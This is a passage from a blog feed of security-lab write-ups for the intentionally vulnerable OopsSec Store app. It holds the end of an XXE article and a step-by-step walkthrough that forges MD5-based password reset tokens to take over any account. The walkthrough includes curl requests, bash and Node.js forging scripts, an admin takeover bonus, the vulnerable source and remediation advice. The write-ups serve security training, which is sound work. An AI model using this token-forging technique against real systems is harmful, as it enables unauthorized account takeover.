&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;libxmljs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseXmlString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rawXml&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Additionally: strip or reject any DOCTYPE declarations before parsing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;After the fix:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq8szwyns3uosxcynbxl7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq8szwyns3uosxcynbxl7.png" alt="Fix" width="800" height="745"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerability chain
&lt;/h2&gt;

&lt;p&gt;This exploit chains two bugs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Admin access, for example via JWT forgery (CWE-347) or mass assignment (CWE-915)&lt;/li&gt;
&lt;li&gt;XXE injection (CWE-611) -- the XML parser resolves external entity declarations, letting you read arbitrary files off the server&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;To fix this in a real app:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disable DTD processing in your XML parsers. Most libraries have flags to reject DOCTYPE declarations outright.&lt;/li&gt;
&lt;li&gt;Disable external entity resolution. Tell the parser to ignore &lt;code&gt;SYSTEM&lt;/code&gt; and &lt;code&gt;PUBLIC&lt;/code&gt; entity declarations.&lt;/li&gt;
&lt;li&gt;Use JSON for data exchange where you can. JSON doesn't have entity expansion.&lt;/li&gt;
&lt;li&gt;Strip DOCTYPE declarations from XML before parsing.&lt;/li&gt;
&lt;li&gt;Run the app process with minimal file system permissions. It shouldn't be able to read config files it doesn't need.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>node</category>
      <category>javascript</category>
    </item>
    <item>
      <title>This reset token uses MD5 — but that's not the real bug</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Mon, 07 Sep 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/this-reset-token-uses-md5-but-thats-not-the-real-bug-1f2j</link>
      <guid>https://dev.to/oopssec-store/this-reset-token-uses-md5-but-thats-not-the-real-bug-1f2j</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Exploit a predictable password reset token generation mechanism to take over any user account.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password reset on OopsSec Store builds tokens from &lt;code&gt;MD5(email + timestamp)&lt;/code&gt;. The timestamp is right there in the API response. You can forge a valid reset token for any account in one request.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;Start the lab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store@latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Target identification
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 1: Find the password reset flow
&lt;/h3&gt;

&lt;p&gt;Go to &lt;code&gt;/login&lt;/code&gt;. There's a "Forgot password?" link below the password field. Click it to reach &lt;code&gt;/login/forgot-password&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 2: Watch the API response
&lt;/h3&gt;

&lt;p&gt;Enter your own email (e.g., &lt;code&gt;alice@example.com&lt;/code&gt;) and submit. Open DevTools (Network tab) and look at the response from &lt;code&gt;POST /api/auth/forgot-password&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"If an account with that email exists, a password reset link has been sent."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"requestedAt"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-02-26T10:30:45.123Z"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That &lt;code&gt;requestedAt&lt;/code&gt; field is a precise ISO timestamp. Why would a "check your email" response include the exact server time?&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Step 3: Figure out the token algorithm
&lt;/h3&gt;

&lt;p&gt;Dig into the source or experiment. The reset token is:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MD5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The &lt;code&gt;requestedAt&lt;/code&gt; timestamp tells you the exact second the token was created.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 4: Request a reset for any user
&lt;/h3&gt;

&lt;p&gt;Pick a target. Alice works:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/auth/forgot-password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"email":"alice@example.com"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Grab the &lt;code&gt;requestedAt&lt;/code&gt; value from the response.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 5: Forge the token
&lt;/h3&gt;

&lt;p&gt;Convert the ISO timestamp to Unix seconds and compute the MD5 hash:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Example: requestedAt = "2026-02-26T10:30:45.123Z"&lt;/span&gt;
&lt;span class="nv"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"2026-02-26T10:30:45.123Z"&lt;/span&gt; +%s&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"alice@example.com&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;md5sum&lt;/span&gt; | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$TOKEN&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Node.js:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;requestedAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;2026-02-26T10:30:45.123Z&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;requestedAt&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;getTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;md5&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;alice@example.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 6: Reset the password and get the flag
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/auth/reset-password &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;token&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;hacked123&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Your password has been reset successfully."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OSS{1ns3cur3_p4ssw0rd_r3s3t}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Bonus: admin account takeover
&lt;/h3&gt;

&lt;p&gt;Same technique, different email. Request a reset for &lt;code&gt;admin@oss.com&lt;/code&gt;, forge the token, reset the password, log in at &lt;code&gt;/login&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;The bug is in the token generation at &lt;code&gt;/app/api/auth/forgot-password/route.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// app/api/auth/forgot-password/route.ts&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;requestedAt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toISOString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;now&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hashMD5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;If an account with that email exists, a password reset link has been sent.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nx"&gt;requestedAt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// This leaks the timestamp used in token generation&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Both inputs to the hash are known to the attacker. They sent the email in the request. The server hands back the timestamp in the response. That's everything you need.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;Generate tokens with &lt;code&gt;crypto.randomBytes&lt;/code&gt; instead of a deterministic hash:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

